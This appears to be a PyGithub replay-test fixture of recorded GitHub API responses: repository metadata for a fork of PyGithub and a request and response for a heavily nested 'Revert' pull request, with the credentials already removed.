{"id":320661360,"node_id":"MDEwOlJlcG9zaXRvcnkzMjA2NjEzNjA=","name":"PyGithub","full_name":"austinsasko/PyGithub","private":false,"owner":{"login":"austinsasko","id":4807843,"node_id":"MDQ6VXNlcjQ4MDc4NDM=","avatar_url":"https://avatars1.githubusercontent.com/u/4807843?v=4","gravatar_id":"","url":"https://api.github.com/users/austinsasko","html_url":"https://github.com/austinsasko","followers_url":"https://api.github.com/users/austinsasko/followers","following_url":"https://api.github.com/users/austinsasko/following{/other_user}","gists_url":"https://api.github.com/users/austinsasko/gists{/gist_id}","starred_url":"https://api.github.com/users/austinsasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/austinsasko/subscriptions","organizations_url":"https://api.github.com/users/austinsasko/orgs","repos_url":"https://api.github.com/users/austinsasko/repos","events_url":"https://api.github.com/users/austinsasko/events{/privacy}","received_events_url":"https://api.github.com/users/austinsasko/received_events","type":"User","site_admin":false},"html_url":"https://github.com/austinsasko/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/austinsasko/PyGithub","forks_url":"https://api.github.com/repos/austinsasko/PyGithub/forks","keys_url":"https://api.github.com/repos/austinsasko/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/austinsasko/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/austinsasko/PyGithub/teams","hooks_url":"https://api.github.com/repos/austinsasko/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/austinsasko/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/austinsasko/PyGithub/events","assignees_url":"https://api.github.com/repos/austinsasko/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/austinsasko/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/austinsasko/PyGithub/tags","blobs_url":"https://api.github.com/repos/austinsasko/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/austinsasko/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/austinsasko/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/austinsasko/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/austinsasko/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/austinsasko/PyGithub/languages","stargazers_url":"https://api.github.com/repos/austinsasko/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/austinsasko/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/austinsasko/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/austinsasko/PyGithub/subscription","commits_url":"https://api.github.com/repos/austinsasko/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/austinsasko/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/austinsasko/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/austinsasko/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/austinsasko/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/austinsasko/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/austinsasko/PyGithub/merges","archive_url":"https://api.github.com/repos/austinsasko/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/austinsasko/PyGithub/downloads","issues_url":"https://api.github.com/repos/austinsasko/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/austinsasko/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/austinsasko/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/austinsasko/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/austinsasko/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/austinsasko/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/austinsasko/PyGithub/deployments","created_at":"2020-12-11T19:09:36Z","updated_at":"2020-12-11T22:17:23Z","pushed_at":"2020-12-11T22:17:27Z","git_url":"git://github.com/austinsasko/PyGithub.git","ssh_url":"git@github.com:austinsasko/PyGithub.git","clone_url":"https://github.com/austinsasko/PyGithub.git","svn_url":"https://github.com/austinsasko/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13240,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-12-11T20:32:14Z","pushed_at":"2020-12-11T19:15:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13213,"stargazers_count":3941,"watchers_count":3941,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1234,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":64,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1234,"open_issues":64,"watchers":3941,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-12-11T20:32:14Z","pushed_at":"2020-12-11T19:15:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13213,"stargazers_count":3941,"watchers_count":3941,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1234,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":64,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1234,"open_issues":64,"watchers":3941,"default_branch":"master"},"network_count":1234,"subscribers_count":0} https GET api.github.com None /repos/austinsasko/PyGithub/pulls/21 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:37 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cfabbba92edbb19a8da577725fa8a88e5695785af9ba2ee485fe5702d1b9fc1c"'), ('Last-Modified', 'Fri, 11 Dec 2020 22:17:28 GMT'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFDB:7E75:3821BF:659797:5FD3F001')] {"url":"https://api.github.com/repos/austinsasko/PyGithub/pulls/21","id":537473728,"node_id":"MDExOlB1bGxSZXF1ZXN0NTM3NDczNzI4","html_url":"https://github.com/austinsasko/PyGithub/pull/21","diff_url":"https://github.com/austinsasko/PyGithub/pull/21.diff","patch_url":"https://github.com/austinsasko/PyGithub/pull/21.patch","issue_url":"https://api.github.com/repos/austinsasko/PyGithub/issues/21","number":21,"state":"closed","locked":false,"title":"Revert \"Revert \"Revert \"Revert \"Revert \"Revert \"Revert \"Revert \"Revert \"Revert \"Revert \"Rever…\"\"\"","user":{"login":"austinsasko","id":4807843,"node_id":"MDQ6VXNlcjQ4MDc4NDM=","avatar_url":"https://avatars1.githubusercontent.com/u/4807843?v=4","gravatar_id":"","url":"https://api.github.com/users/austinsasko","html_url":"https://github.com/austinsasko","followers_url":"https://api.github.com/users/austinsasko/followers","following_url":"https://api.github.com/users/austinsasko/following{/other_user}","gists_url":"https://api.github.com/users/austinsasko/gists{/gist_id}","starred_url":"https://api.github.com/users/austinsasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/austinsasko/subscriptions","organizations_url":"https://api.github.com/users/austinsasko/orgs","repos_url":"https://api.github.com/users/austinsasko/repos","events_url":"https://api.github.com/users/austinsasko/events{/privacy}","received_events_url":"https://api.github.com/users/austinsasko/received_events","type":"User","site_admin":false},"body":"Reverts austinsasko/PyGithub#20","created_at":"2020-12-11T22:14:28Z","updated_at":"2020-12-11T22:17:28Z","closed_at":"2020-12-11T22:17:20Z","merged_at":"2020-12-11T22:17:20Z","merge_commit_sha":"40abf8b68f4c86d0001cc9a03f19cf8f1bd018e1","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/austinsasko/PyGithub/pulls/21/commits","review_comments_url":"https://api.github.com/repos/austinsasko/PyGithub/pulls/21/comments","review_comment_url":"https://api.github.com/repos/austinsasko/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/austinsasko/PyGithub/issues/21/comments","statuses_url":"https://api.github.com/repos/austinsasko/PyGithub/statuses/adf76c80c6d28dc2d47b1a22622082786192c887","head":{"label":"austinsasko:revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","ref":"revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing","sha":"adf76c80c6d28dc2d47b1a22622082786192c887","user":{"login":"austinsasko","id":4807843,"node_id":"MDQ6VXNlcjQ4MDc4NDM=","avatar_url":"https://avatars1.githubusercontent.com/u/4807843?v=4","gravatar_id":"","url":"https://api.github.com/users/austinsasko","html_url":"https://github.com/austinsasko","followers_url":"https://api.github.com/users/austinsasko/followers","following_url":"https://api.github.com/users/austinsasko/following{/other_user}","gists_url":"https://api.github.com/users/austinsasko/gists{/gist_id}","starred_url":"https://api.github.com/users/austinsasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/austinsasko/subscriptions","organizations_url":"https://api.github.com/users/austinsasko/orgs","repos_url":"https://api.github.com/users/austinsasko/repos","events_url":"https://api.github.com/users/austinsasko/events{/privacy}","received_events_url":"https://api.github.com/users/austinsasko/received_events","type":"User","site_admin":false},"repo":{"id":320661360,"node_id":"MDEwOlJlcG9zaXRvcnkzMjA2NjEzNjA=","name":"PyGithub","full_name":"austinsasko/PyGithub","private":false,"owner":{"login":"austinsasko","id":4807843,"node_id":"MDQ6VXNlcjQ4MDc4NDM=","avatar_url":"https://avatars1.githubusercontent.com/u/4807843?v=4","gravatar_id":"","url":"https://api.github.com/users/austinsasko","html_url":"https://github.com/austinsasko","followers_url":"https://api.github.com/users/austinsasko/followers","following_url":"https://api.github.com/users/austinsasko/following{/other_user}","gists_url":"https://api.github.com/users/austinsasko/gists{/gist_id}","starred_url":"https://api.github.com/users/austinsasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/austinsasko/subscriptions","organizations_url":"https://api.github.com/users/austinsasko/orgs","repos_url":"https://api.github.com/users/austinsasko/repos","events_url":"https://api.github.com/users/austinsasko/events{/privacy}","received_events_url":"https://api.github.com/users/austinsasko/received_events","type":"User","site_admin":false},"html_url":"https://github.com/austinsasko/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/austinsasko/PyGithub","forks_url":"https://api.github.com/repos/austinsasko/PyGithub/forks","keys_url":"https://api.github.com/repos/austinsasko/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/austinsasko/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/austinsasko/PyGithub/teams","hooks_url":"https://api.github.com/repos/austinsasko/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/austinsasko/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/austinsasko/PyGithub/events","assignees_url":"https://api.github.com/repos/austinsasko/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/austinsasko/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/austinsasko/PyGithub/tags","blobs_url":"https://api.github.com/repos/austinsasko/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/austinsasko/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/austinsasko/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/austinsasko/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/austinsasko/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/austinsasko/PyGithub/languages","stargazers_url":"https://api.github.com/repos/austinsasko/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/austinsasko/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/austinsasko/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/austinsasko/PyGithub/subscription","commits_url":"https://api.github.com/repos/austinsasko/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/austinsasko/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/austinsasko/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/austinsasko/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/austinsasko/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/austinsasko/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/austinsasko/PyGithub/merges","archive_url":"https://api.github.com/repos/austinsasko/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/austinsasko/PyGithub/downloads","issues_url":"https://api.github.com/repos/austinsasko/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/austinsasko/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/austinsasko/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/austinsasko/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/austinsasko/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/austinsasko/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/austinsasko/PyGithub/deployments","created_at":"2020-12-11T19:09:36Z","updated_at":"2020-12-11T22:17:23Z","pushed_at":"2020-12-11T22:17:27Z","git_url":"git://github.com/austinsasko/PyGithub.git","ssh_url":"git@github.com:austinsasko/PyGithub.git","clone_url":"https://github.com/austinsasko/PyGithub.git","svn_url":"https://github.com/austinsasko/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13240,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"austinsasko:master","ref":"master","sha":"5d5e7e1b3c1f978e523192d370991db5f67050f8","user":{"login":"austinsasko","id":4807843,"node_id":"MDQ6VXNlcjQ4MDc4NDM=","avatar_url":"https://avatars1.githubusercontent.com/u/4807843?v=4","gravatar_id":"","url":"https://api.github.com/users/austinsasko","html_url":"https://github.com/austinsasko","followers_url":"https://api.github.com/users/austinsasko/followers","following_url":"https://api.github.com/users/austinsasko/following{/other_user}","gists_url":"https://api.github.com/users/austinsasko/gists{/gist_id}","starred_url":"https://api.github.com/users/austinsasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/austinsasko/subscriptions","organizations_url":"https://api.github.com/users/austinsasko/orgs","repos_url":"https://api.github.com/users/austinsasko/repos","events_url":"https://api.github.com/users/austinsasko/events{/privacy}","received_events_url":"https://api.github.com/users/austinsasko/received_events","type":"User","site_admin":false},"repo":{"id":320661360,"node_id":"MDEwOlJlcG9zaXRvcnkzMjA2NjEzNjA=","name":"PyGithub","full_name":"austinsasko/PyGithub","private":false,"owner":{"login":"austinsasko","id":4807843,"node_id":"MDQ6VXNlcjQ4MDc4NDM=","avatar_url":"https://avatars1.githubusercontent.com/u/4807843?v=4","gravatar_id":"","url":"https://api.github.com/users/austinsasko","html_url":"https://github.com/austinsasko","followers_url":"https://api.github.com/users/austinsasko/followers","following_url":"https://api.github.com/users/austinsasko/following{/other_user}","gists_url":"https://api.github.com/users/austinsasko/gists{/gist_id}","starred_url":"https://api.github.com/users/austinsasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/austinsasko/subscriptions","organizations_url":"https://api.github.com/users/austinsasko/orgs","repos_url":"https://api.github.com/users/austinsasko/repos","events_url":"https://api.github.com/users/austinsasko/events{/privacy}","received_events_url":"https://api.github.com/users/austinsasko/received_events","type":"User","site_admin":false},"html_url":"https://github.com/austinsasko/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/austinsasko/PyGithub","forks_url":"https://api.github.com/repos/austinsasko/PyGithub/forks","keys_url":"https://api.github.com/repos/austinsasko/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/austinsasko/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/austinsasko/PyGithub/teams","hooks_url":"https://api.github.com/repos/austinsasko/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/austinsasko/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/austinsasko/PyGithub/events","assignees_url":"https://api.github.com/repos/austinsasko/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/austinsasko/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/austinsasko/PyGithub/tags","blobs_url":"https://api.github.com/repos/austinsasko/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/austinsasko/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/austinsasko/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/austinsasko/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/austinsasko/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/austinsasko/PyGithub/languages","stargazers_url":"https://api.github.com/repos/austinsasko/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/austinsasko/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/austinsasko/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/austinsasko/PyGithub/subscription","commits_url":"https://api.github.com/repos/austinsasko/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/austinsasko/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/austinsasko/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/austinsasko/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/austinsasko/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/austinsasko/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/austinsasko/PyGithub/merges","archive_url":"https://api.github.com/repos/austinsasko/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/austinsasko/PyGithub/downloads","issues_url":"https://api.github.com/repos/austinsasko/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/austinsasko/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/austinsasko/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/austinsasko/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/austinsasko/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/austinsasko/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/austinsasko/PyGithub/deployments","created_at":"2020-12-11T19:09:36Z","updated_at":"2020-12-11T22:17:23Z","pushed_at":"2020-12-11T22:17:27Z","git_url":"git://github.com/austinsasko/PyGithub.git","ssh_url":"git@github.com:austinsasko/PyGithub.git","clone_url":"https://github.com/austinsasko/PyGithub.git","svn_url":"https://github.com/austinsasko/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13240,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 